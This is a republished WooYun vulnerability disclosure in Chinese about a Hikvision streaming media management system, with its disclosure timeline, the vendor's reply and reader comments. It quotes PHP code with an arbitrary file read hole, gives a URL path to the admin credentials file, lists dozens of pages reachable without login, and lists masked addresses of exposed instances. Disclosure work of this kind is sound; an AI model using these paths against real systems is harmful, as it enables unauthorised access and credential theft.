海康威视某流媒体管理系统通用型设计缺陷(漏洞集合无需登录)

admin 2017年4月22日16:49:53评论339 views字数 230阅读0分46秒阅读模式
摘要

2016-03-02: 细节已通知厂商并且等待厂商处理中
2016-03-06: 厂商已经确认,细节仅向厂商公开
2016-03-09: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2016-04-30: 细节向核心白帽子及相关领域专家公开
2016-05-10: 细节向普通白帽子公开
2016-05-20: 细节向实习白帽子公开
2016-06-04: 细节向公众公开

漏洞概要 关注数(21) 关注此漏洞

缺陷编号: WooYun-2016-180166

漏洞标题: 海康威视某流媒体管理系统通用型设计缺陷(漏洞集合无需登录) 海康威视某流媒体管理系统通用型设计缺陷(漏洞集合无需登录)

相关厂商: 海康威视

漏洞作者: YY-2012

提交时间: 2016-03-02 21:30

公开时间: 2016-06-04 10:10

漏洞类型: 任意文件遍历/下载

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 设计缺陷/边界绕过 逻辑错误

4人收藏


漏洞详情

披露状态:

2016-03-02: 细节已通知厂商并且等待厂商处理中
2016-03-06: 厂商已经确认,细节仅向厂商公开
2016-03-09: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-04-30: 细节向核心白帽子及相关领域专家公开
2016-05-10: 细节向普通白帽子公开
2016-05-20: 细节向实习白帽子公开
2016-06-04: 细节向公众公开

简要描述:

rt

详细说明:

任意文件遍历下载/systemLog/showFile.php

code 区域
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://**.**.**.**/TR/html4/loose.dtd">
<html>
<head>
<link rel="stylesheet" type="text/css" href="../easyui/themes/default/easyui.css">
<link rel="stylesheet" type="text/css" href="../easyui/themes/icon.css">
<link rel="stylesheet" type="text/css" href="../easyui/themes/particular_blue.css">

<script type="text/javascript" src="../easyui/jquery-1.4.4.min.js"></script>
<script type="text/javascript" src="../easyui/jquery.easyui.min.js"></script>
<script type="text/javascript" src="../easyui/locale/easyui-lang-zh_CN.js"></script>
<script type="text/javascript" src="../easyui/easyloader.js"></script>
<title>查看日志</title>
<script>
$(function(){
$('#cancel').click(function() {
parent.$('#show').window('close');
});
});
</script>
</head>
<body style="padding:5px" >
<div class="easyui-layout" fit="true" style="height:450px;">
<div region="center" border="false" style="padding:10px;background:#fff;border:1px solid #ccc;">
<?php
$file_name = $_GET['fileName'];
$file_path = '../../../log/'.$file_name;
$fp = fopen($file_path, "r");
while($line = fgets($fp)){
$line = nl2br(htmlentities($line, ENT_COMPAT, "utf-8"));
echo '<span style="font-size:16px">'.$line.'</span>';
}
fclose($fp);

?>
</div>
<div region="south" border="false" style="text-align:right;height:34px;line-height:34px;" >
<table width="100%" height="100%"><tr><td valign="center"><a class="easyui-linkbutton" iconCls="icon-cancel" href="javascript:void(0)" id="cancel">关闭</a></td></tr></table>
</div>
</div>
</body>
</html>

直接获取管理员账号密码:

code 区域
http://xxxxxxxxxxxx:7788/config/user.xml

数十处未授权访问:

code 区域
./vtduConfig/index.php
./vtduConfig/vtduConfig.php
./index.php
./systemLog/showFile.php
./systemLog/index.php
./systemLog/downFile.php
./vtmConfig/index.php
./sessionStatus/session.php
./sessionStatus/index.php
./balanceConfig/redirect.php
./balanceConfig/usedStream.php
./balanceConfig/forbid.php
./balanceConfig/index.php
./balanceConfig/access.php
./balanceConfig/stream.php
./balanceConfig/mapping.php
./balanceConfig/unUsedStream.php
./balanceConfig/allow.php
./balanceConfig/param.php
./vtmStatus/index.php
./data/saveMapping.php
./data/saveVTDU.php
./data/fetchMapping.php
./data/saveAllow.php
./data/serverLogData.php
./data/checkIsExist.php
./data/saveVTMConfig.php
./data/saveForbid.php
./data/login.php
./data/fetchVTDU.php
./data/findUsedStream.php
./data/modifyPassword.php
./data/fetchStreamTree.php
./data/cancelVtduBalance.php
./data/fetchRedirect.php
./data/findForbid.php
./data/saveParam.php
./data/saveRedirect.php
./data/findRedirect.php
./data/fetchMenuJson.php
./data/findMapping.php
./data/addVtduBalance.php
./data/fetchUnUsedStreamTree.php
./data/findAllow.php
./data/fetchVtduXml.php
./data/findVtduInfo.php
./vtduStatus/index.php

漏洞证明:

海康威视某流媒体管理系统通用型设计缺陷(漏洞集合无需登录)

海康威视某流媒体管理系统通用型设计缺陷(漏洞集合无需登录)

案例参考报告http://**.**.**.**/bugs/wooyun-2016-0175628

code 区域
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
http://**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
http://**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
http://**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:8090/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/
**.**.**.**:7788/

修复方案:

你们懂的。

版权声明:转载请注明来源 YY-2012@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:3

确认时间:2016-03-06 10:02

厂商回复:

您好,该问题属于与WooYun-2016- 重复问题,该产品线目前已停产。我们会通过各种渠道对使用旧版本的客户平台进行加固升级。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2016-03-02 21:33 | 带头大哥 ( 普通白帽子 | Rank:879 漏洞数:65 | |任意邮件伪造| |目录遍历| |任意文件读取|...)

    1

    跟不上你脚步了.

  2. 2016-03-29 08:49 | 大漠長河 ( 实习白帽子 | Rank:66 漏洞数:3 | ̷̸̨̀͒̏̃ͦ̈́̾( 天龙源景区枫叶正...)

    1

    @带头大哥 YY效率太高了

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin